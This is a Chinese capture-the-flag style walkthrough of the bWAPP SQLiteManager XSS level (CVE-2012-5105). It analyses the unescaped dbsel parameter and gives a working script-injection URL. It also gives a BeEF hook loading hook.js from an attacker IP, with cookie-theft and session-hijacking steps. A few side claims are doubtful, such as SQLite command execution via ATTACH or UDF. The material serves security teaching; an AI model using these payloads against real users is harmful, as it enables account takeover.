摘要: 这是 bWAPP 系列第六十五篇,聚焦于 SQLiteManager XSS 。这是 bWAPP 中一个非常特殊的关卡------它指向的是第三方工具 SQLiteManager 的历史 XSS 漏洞,编号 CVE-2012-5105 。文章会从零开始介绍 SQLiteManager 是什么、它的典型使用场景,然后基于真实源码分析 CVE-2012-5105 的漏洞细节,找出真正的注入点(dbsel 参数)。最后手把手教你如何在 Bee-Box 虚拟机中复现这个漏洞,并通过 BeEF 工具获取 Cookie 并实现会话劫持。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 反射型 XSS |
| 关联漏洞 | CVE-2012-5105 |
| 漏洞工具 | SQLiteManager(SQLite 数据库管理工具) |
| 漏洞版本 | 1.2.4 及之前版本 |
| 注入点 | dbsel 参数(数据库选择参数) |
| 漏洞文件 | dbproperties.php(在 main.php 中被引入) |
| 攻击方式 | 构造恶意 URL,诱导用户点击 |
| 利用工具 | BeEF(获取 Cookie 和会话劫持) |
| 漏洞编号 | CVE-2012-5105 |
| CVSS 评分 | 4.3(中等) |
二、前言:什么是 SQLiteManager?
在深入漏洞之前,我们需要先了解一个背景知识:SQLiteManager 是什么?
2.1 SQLiteManager 简介
SQLiteManager 是一个基于 Web 的 SQLite 数据库管理工具。它的作用和 phpMyAdmin 类似------phpMyAdmin 管理的是 MySQL 数据库,而 SQLiteManager 管理的是 SQLite 数据库。
SQLite 是一个轻量级的嵌入式数据库,被广泛应用于:
-
移动应用(Android、iOS 的本地数据存储)
-
桌面软件(Chrome、Firefox 浏览器、微信 PC 版)
-
嵌入式设备(物联网设备、工业控制系统)
-
小型 Web 应用(个人博客、小型 CMS)
SQLiteManager 提供了一个友好的 Web 界面,让开发者可以通过浏览器管理 SQLite 数据库文件,而不需要记忆复杂的命令行操作。
2.2 SQLiteManager 的典型功能
-
创建新的 SQLite 数据库
-
查看和编辑数据库中的表结构
-
执行 SQL 查询语句
-
导入和导出数据
-
管理索引和触发器
-
查看数据库的元数据信息
2.3 为什么会在 bWAPP 中出现?
在 bWAPP 的 Bee-Box 虚拟机中,为了模拟真实的 Web 环境,不仅安装了 bWAPP 本身,还安装了一些辅助工具。SQLiteManager 就是其中之一。它被安装在 /sqlite/ 目录下,可以通过浏览器访问。
这个工具本身存在漏洞 ,bWAPP 专门设置了一个关卡来演示这个漏洞。页面中的链接指向的就是 SQLiteManager 的安装目录。这也反映了真实世界中一个常见的安全问题:网站除了自身代码存在漏洞外,使用的第三方工具也可能成为攻击入口。
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
-
标题:SQLiteManager XSS
-
一段说明文字:
The SQLiteManager version is vulnerable to Cross-Site Scripting! (bee-box only) -
两个链接:
-
SQLiteManager→ 指向/sqlite/目录 -
CVE-2012-5105→ 指向 CVE 详情页面
-

3.2 操作入口
点击页面中的 SQLiteManager 链接,会跳转到:

这就是 SQLiteManager 的主界面。如果看到 SQLiteManager 的管理页面,说明环境已经准备就绪。
在 Bee-Box 中,访问 SQLiteManager 首页时,可以看到版本信息:
Welcome to SQLiteManager version 1.2.4
SQLite version 2.8.17 / PHP version 5.2.4-2ubuntu5
版本号 1.2.4 正好是 CVE-2012-5105 影响的版本。
3.3 漏洞提示
页面中的 CVE 链接指向了 CVE-2012-5105 的详情页面:这个链接告诉我们,SQLiteManager 存在一个已知的 XSS 漏洞,攻击者可以利用它窃取 Cookie 或执行其他恶意操作。
3.4 关于 (bee-box only)
页面标注了 (bee-box only),说明这个漏洞的复现依赖于 Bee-Box 虚拟机中的特定环境配置。如果你使用其他方式部署 bWAPP(如手动搭建的 LAMP 环境),可能没有安装 SQLiteManager,或者安装的版本不同。
3.5 CVE-2012-5105 基本信息
| 字段 | 内容 |
|---|---|
| CVE 编号 | CVE-2012-5105 |
| 发布时间 | 2012-09-23 |
| 漏洞类型 | 跨站脚本(XSS) |
| 影响产品 | SQLiteManager 1.2.4 及之前版本 |
| CVSS 评分 | 4.3(中等) |
| 漏洞分类 | CWE-79(Improper Neutralization of Input During Web Page Generation) |
四、源码分析:找到真正的注入点
4.1 先看 main.php(入口文件)
在分析漏洞之前,先看看 SQLiteManager 的入口文件 main.php。这个文件负责路由------根据 URL 参数决定加载哪个功能模块。
main.php 的核心逻辑(节选):
session_start();
ob_start();
include_once "include/defined.inc.php";
include_once INCLUDE_LIB."config.inc.php";
当用户访问 main.php 时,它会根据 action 参数的值加载不同的功能文件:
switch($action){
case '':
case 'properties':
default:
// 默认加载 dbproperties.php
include_once INCLUDE_LIB.$fileProp.'.php';
break;
case 'browseItem':
include INCLUDE_LIB.'browse.php';
break;
case 'sql':
include INCLUDE_LIB.'sql.php';
break;
case "export":
include_once INCLUDE_LIB."SQLiteExport.class.php";
break;
case "add_view":
include_once INCLUDE_LIB."viewproperties.php";
break;
case "add_trigger":
include_once INCLUDE_LIB."triggerproperties.php";
break;
case "add_function":
include_once INCLUDE_LIB."functproperties.php";
break;
case "options":
include_once INCLUDE_LIB."SQLiteDbOption.class.php";
break;
}
关键发现 :main.php 本身是安全的------它只是一个路由入口,不直接输出用户输入。但被引入的文件中存在 XSS 漏洞。
4.2 再看 dbproperties.php(真正的漏洞文件)
当用户没有指定 action 参数时,main.php 会加载 dbproperties.php。这个文件负责显示数据库的属性信息,包括表、视图、触发器、函数等列表。
在 dbproperties.php 中,有一段关键代码:
$linkBase = 'main.php?dbsel='.$GLOBALS['dbsel'].'&'.strtolower($item).'='.$itemName;
// ...
echo " <td class=\"tabprop\" align='left'><a href=\"".$linkBase."\" class=\"PropItemTitle\"><span style=\"font-size: 12px\"> ".$itemName."</span></a></td>\n";
这里就是漏洞的根源!
4.3 漏洞分析
$GLOBALS'dbsel' 来自哪里?
在 PHP 中,$GLOBALS 数组包含了所有全局变量。当 register_globals 开启时(在 PHP 5.2.4 中默认关闭,但这个版本的 SQLiteManager 可能依赖此特性),URL 参数 dbsel 会直接被注册为全局变量。即使 register_globals 关闭,$GLOBALS['dbsel'] 也可能通过其他方式从 $_GET['dbsel'] 赋值。
漏洞的本质:
$GLOBALS['dbsel'] 的值直接来自用户输入(URL 参数),它被拼接到 $linkBase 中,然后输出到 HTML 的 <a href="..."> 属性中。整个过程没有使用 htmlspecialchars() 进行转义!
攻击者可以构造如下 URL:
http://10.0.0.177/sqlite/main.php?dbsel="><script>alert(1)</script>
执行过程:
| 步骤 | 内容 |
|---|---|
| 1 | 用户访问恶意 URL,dbsel 参数为 "><script>alert(1)</script> |
| 2 | main.php 加载 dbproperties.php |
| 3 | $GLOBALS['dbsel'] = "><script>alert(1)</script> |
| 4 | $linkBase = 'main.php?dbsel="><script>alert(1)</script>&table=xxx' |
| 5 | echo 输出到 HTML:<a href="main.php?dbsel="><script>alert(1)</script>&table=xxx"> |
| 6 | 浏览器解析:" 闭合了 href 属性,> 闭合了 <a> 标签 |
| 7 | <script>alert(1)</script> 被执行 |
这就是 XSS 的完整触发过程。
4.4 其他可能的注入点
同样的漏洞模式也可能存在于其他参数中:
-
table------表名参数 -
view------视图名参数 -
trigger------触发器名参数 -
function------函数名参数
如果这些参数在 dbproperties.php 或其他文件中被拼接到 HTML 输出且没有转义,同样存在 XSS 风险。但 dbsel 是最直接的注入点,因为它在首页就会被使用到。
五、CVE-2012-5105 漏洞详解
5.1 漏洞背景
2012 年 9 月,安全研究人员发现 SQLiteManager 1.2.4 及之前版本中存在多个跨站脚本漏洞。这些漏洞允许远程攻击者通过构造特制的 URL,在受害者的浏览器中执行任意 JavaScript 代码。
5.2 漏洞成因
根据源码分析,漏洞的根本原因是:
-
register_globals的影响 :虽然 PHP 官方在 5.4.0 中移除了register_globals,但在 5.2.4 版本中,它仍然存在。如果开启,GET/POST 参数会直接被注册为全局变量。 -
缺乏输出转义 :
dbproperties.php在生成<a href="...">链接时,直接拼接了$GLOBALS['dbsel'],没有使用htmlspecialchars()转义。 -
输入验证不足 :应用程序没有对
dbsel参数进行白名单验证或格式检查。
5.3 受影响的版本
-
SQLiteManager 1.2.4
-
SQLiteManager 1.2.3
-
SQLiteManager 1.2.2
-
SQLiteManager 1.2.1
-
SQLiteManager 1.2.0
-
所有 1.2.x 系列版本
5.4 漏洞利用场景
-
攻击者构造一个包含恶意脚本的 URL,例如:
http://target.com/sqlite/main.php?dbsel="><script>alert(1)</script> -
攻击者将 URL 发送给受害者(通过邮件、聊天工具、论坛发帖等)
-
受害者点击 URL,访问 SQLiteManager
-
恶意脚本在受害者的浏览器中执行
-
攻击者可以窃取 Cookie、会话信息,甚至冒充受害者进行操作
5.5 修复方式
SQLiteManager 在后续版本中修复了这些漏洞,主要修复方式包括:
-
在输出用户输入时使用
htmlspecialchars()进行 HTML 实体编码 -
对
dbsel等参数进行严格的输入验证 -
禁用
register_globals的依赖 -
使用白名单验证参数值
六、Low 安全级别
6.1 准备工作:访问 SQLiteManager
在 Bee-Box 中,访问 SQLiteManager:
http://10.0.0.177/sqlite/
如果看到 SQLiteManager 的主界面(显示 Welcome to SQLiteManager version 1.2.4),说明环境正常。
6.2 测试 XSS 弹窗
在 URL 中,通过 dbsel 参数注入 XSS Payload:
http://10.0.0.177/sqlite/main.php?dbsel="><script>alert(1)</script>
访问这个 URL。如果页面弹窗,说明漏洞存在。

6.3 分析 Payload 的工作方式
| Payload 部分 | 作用 |
|---|---|
" |
闭合 <a href="..."> 中 dbsel= 后面的引号 |
> |
闭合 <a> 标签 |
<script>alert(1)</script> |
注入恶意脚本,浏览器执行 |
&table=xxx" |
剩余部分被当作普通文本,不影响 XSS 执行 |
最终生成的 HTML:
<a href="main.php?dbsel="><script>alert(1)</script>&table=xxx" class="PropItemTitle">
浏览器解析时:
-
main.php?dbsel=被解析为链接地址 -
>闭合<a>标签 -
<script>alert(1)</script>被解析为独立的脚本标签并执行 -
弹窗出现
关键 :程序没有对 < 和 > 进行转义,导致它们被浏览器当作 HTML 标签解析。
七、使用 BeEF 获取 Cookie
7.1 启动 BeEF
sudo beef-xss-start

用浏览器访问 UI URL,输入默认用户名 beef 和密码 beef,进入 BeEF 控制面板。
7.2 构造 BeEF Hook Payload
将之前的 XSS Payload 替换为加载 BeEF Hook 的脚本:
http://10.0.0.177/sqlite/main.php?dbsel="><script src="http://10.0.0.129:3000/hook.js"></script>
注意:
-
10.0.0.129是攻击机(Kali)的 IP 地址,需要替换为你的实际 IP -
3000是 BeEF 服务的默认端口 -
这个 URL 中的 Hook 脚本会建立攻击者和受害者浏览器之间的 WebSocket 通道

7.3 发送恶意链接
将构造好的 URL 发送给目标用户(在实际渗透测试中是通过社工方式),或者直接在浏览器中访问测试。
7.4 BeEF 上线
当用户访问包含恶意脚本的 URL 后,BeEF 控制面板的 Online Browsers 区域会显示一个上线的浏览器。

7.5 获取 Cookie
在 BeEF 控制面板中:
-
点击上线的浏览器
-
进入
Commands标签页 -
找到
Browser→Get Cookie命令 -
点击
Execute执行
BeEF 会返回该浏览器的所有 Cookie 信息:

7.6 会话劫持
获取到 PHPSESSID 后,攻击者可以:
-
在浏览器中打开开发者工具
-
进入 Application → Cookies
-
用获取到的
PHPSESSID替换当前 Cookie -
刷新页面,以受害者身份登录
这就是会话劫持------攻击者不需要知道用户名和密码,就能以受害者的身份访问系统。对于 SQLiteManager 来说,这意味着攻击者可以查看和修改数据库中的所有数据。
八、Medium 安全级别
8.1 尝试注入
切换到 Medium 级别,使用同样的 Payload:
http://10.0.0.177/sqlite/main.php?dbsel="><script>alert(1)</script>
结果:取决于 SQLiteManager 的版本和配置。如果 SQLiteManager 本身没有做过滤,即使 bWAPP 切换到 Medium 级别,漏洞仍然存在。
原因:这个漏洞存在于 SQLiteManager 的代码中,而不是 bWAPP 的代码中。bWAPP 的安全级别设置只影响 bWAPP 自身的代码,不影响第三方工具的代码。
8.2 结论
在这一关中,bWAPP 的安全级别对漏洞的存在与否没有直接影响。漏洞是否存在,取决于 SQLiteManager 的版本(1.2.4 及之前版本存在漏洞)和配置。
九、High 安全级别
和 Medium 级别类似,bWAPP 的安全级别设置不会影响 SQLiteManager 的漏洞状态。
如果 SQLiteManager 的版本是 1.2.4 或更早,漏洞就存在;如果版本更新了(如 1.2.5 及以上),漏洞可能已被修复。
在 Bee-Box 中,SQLiteManager 的版本是受影响的旧版本,所以漏洞可以成功复现。
十、真实世界:Web 数据库管理工具的安全问题
Web 数据库管理工具是攻击者常用的目标之一,因为它们:
1. 暴露在公网
许多管理员为了方便管理,将 phpMyAdmin、SQLiteManager、Adminer 等工具安装在公网可访问的位置。攻击者可以通过扫描发现这些工具的存在。根据 Shodan 等搜索引擎的数据,每天有成千上万的 phpMyAdmin 实例暴露在公网上。
2. 默认配置不安全
-
使用默认用户名和密码(如
root/空密码) -
未启用 HTTPS(登录凭证在明文传输)
-
未限制访问来源 IP(任何人都可以访问)
-
保留默认安装路径(容易被扫描发现)
3. 存在历史漏洞
这些工具历史悠久,积累了大量的安全漏洞。如果管理员不及时更新版本,旧的漏洞就会被攻击者利用。CVE-2012-5105 就是其中一个例子------漏洞在 2012 年被发现,但如果管理员一直不更新,这个漏洞就永远存在。
4. 权限高
数据库管理工具通常具有数据库的最高权限,一旦被攻破,整个数据库就暴露了。攻击者可以:
-
读取所有表的数据(包括用户密码、个人信息等)
-
修改或删除数据(破坏业务)
-
执行系统命令(通过 SQLite 的 ATTACH DATABASE 等特性)
-
将数据库权限提升为服务器权限(通过 UDF 等机制)
10.1 相关安全事件
CVE-2012-5105:SQLiteManager 1.2.4 及之前版本的 XSS 漏洞,攻击者可以通过注入恶意脚本窃取 Cookie。
CVE-2014-8959 :phpMyAdmin 4.0.x ~ 4.3.x 版本中的 gis_data_editor.php 存在 XSS 漏洞,攻击者可以通过注入恶意脚本获取管理员权限。
CVE-2015-7873:phpMyAdmin 4.4.15.1 之前版本的 XSS 漏洞,攻击者可以注入恶意脚本。
CVE-2016-6622:phpMyAdmin 4.6.3 之前的版本存在 XSS 漏洞,攻击者可以通过构造特制的请求执行任意 JavaScript。
现实案例:2020 年,有攻击者通过扫描互联网上暴露的 phpMyAdmin 实例,利用弱密码和已知漏洞入侵了数千个网站,窃取了大量数据。
十一、总结
SQLiteManager XSS 是 bWAPP 中一个指向第三方工具历史漏洞的关卡。通过分析 main.php 和 dbproperties.php 的源码,我们确认了真正的注入点是 dbsel 参数。漏洞的根本原因是 dbproperties.php 在生成 <a href="..."> 链接时,直接拼接了 $GLOBALS['dbsel'] 而没有使用 htmlspecialchars() 转义。攻击者可以在 dbsel 参数中注入 "><script>alert(1)</script>,闭合 href 属性并执行恶意脚本。通过 BeEF 工具,攻击者可以获取受害者的 Cookie 并实现会话劫持。bWAPP 的安全级别设置不影响这个漏洞------漏洞存在于 SQLiteManager 的代码中,而不是 bWAPP 的代码中。这个关卡提醒我们:Web 管理工具是一把双刃剑,在方便管理的同时也可能成为攻击的突破口。定期更新软件版本、限制访问来源、启用 HTTPS 是保护数据库管理工具的基本措施。同时,做漏洞分析一定要基于源码,不能凭猜测。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。